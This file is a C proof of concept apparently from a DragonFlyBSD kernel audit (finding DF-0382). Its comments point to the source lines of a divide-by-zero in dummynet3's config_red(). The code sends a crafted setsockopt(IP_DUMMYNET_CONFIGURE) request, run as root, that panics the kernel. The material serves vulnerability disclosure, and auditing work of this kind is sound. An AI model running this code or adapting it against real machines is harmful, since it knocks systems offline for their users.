DragonFlyBSD Kernel Audit
DF-0382 / df_0382_div0.c
← back to finding ↓ download raw
/*
 * DF-0382 — dummynet3 config_red divide-by-zero panic
 *
 * Trigger: setsockopt(IPPROTO_IP, IP_DUMMYNET_CONFIGURE, ...) with a flowset
 * whose RED parameters drive a zero divisor in config_red():
 *
 *   sys/net/dummynet3/ip_dummynet3.c:1351
 *       x->c_1 = ioc_fs->max_p / (ioc_fs->max_th - ioc_fs->min_th);
 *   sys/net/dummynet3/ip_dummynet3.c:1354   (DN_IS_GENTLE_RED)
 *       x->c_3 = (SCALE(1) - ioc_fs->max_p) / ioc_fs->max_th;
 *
 * Run as root (raw IP socket needs SYSCAP_NONET_RAW). Requires dummynet3.ko.
 *
 *   cc -O2 -o df_0382_div0 df_0382_div0.c
 *   ./df_0382_div0           # line 1351 path: max_th==min_th
 *   ./df_0382_div0 gentle    # line 1354 path: GENTLE_RED, max_th==0
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/dummynet3/ip_dummynet3.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* IP_DUMMYNET_CONFIGURE = 60, matches sys/net/ipfw3/ip_fw3.h:384 */
#ifndef IP_DUMMYNET_CONFIGURE
#define IP_DUMMYNET_CONFIGURE   60
#endif

int
main(int argc, char **argv)
{
    struct dn_ioc_pipe ioc;
    int s, error, gentle = 0;

    if (argc > 1 && strcmp(argv[1], "gentle") == 0)
        gentle = 1;

    memset(&ioc, 0, sizeof ioc);

    /*
     * config_pipe (:1476) rejects pipe_nr==0&&fs_nr==0 AND pipe_nr!=0&&fs_nr!=0.
     * Use the pipe path (pipe_nr != 0, fs_nr == 0) which calls
     * set_fs_parms(&x->fs, ioc_fs) at :1523, which calls config_red when
     * flags_fs & DN_IS_RED.
     */
    ioc.fs.flags_fs  = 0x0002;          /* DN_IS_RED */
    if (gentle) {
        ioc.fs.flags_fs |= 0x0004;      /* DN_IS_GENTLE_RED */
        /* line 1354 path: max_th == 0  -> (SCALE(1)-max_p)/0 */
        ioc.fs.max_th = 0;
        ioc.fs.min_th = 0;
        ioc.fs.max_p  = 0;
    } else {
        /* line 1351 path: max_th == min_th -> max_p/(max_th-min_th) */
        ioc.fs.max_th = 10;
        ioc.fs.min_th = 10;
        ioc.fs.max_p  = 1;
    }
    ioc.fs.fs_nr     = 0;               /* MUST be 0 when pipe_nr != 0 */
    ioc.pipe_nr      = 1;               /* new pipe */
    ioc.bandwidth    = 1000000;
    ioc.delay        = 1;

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) {
        perror("socket(SOCK_RAW, IPPROTO_RAW) -- need SYSCAP_NONET_RAW (root)");
        return 2;
    }

    error = setsockopt(s, IPPROTO_IP, IP_DUMMYNET_CONFIGURE,
                       &ioc, sizeof ioc);
    if (error)
        fprintf(stderr, "setsockopt IP_DUMMYNET_CONFIGURE: %s\n",
                strerror(errno));
    else
        printf("setsockopt returned 0 -- dummynet3 not loaded or path avoided? "
               "(bug expected to panic before returning)\n");

    close(s);
    return error ? 1 : 0;
}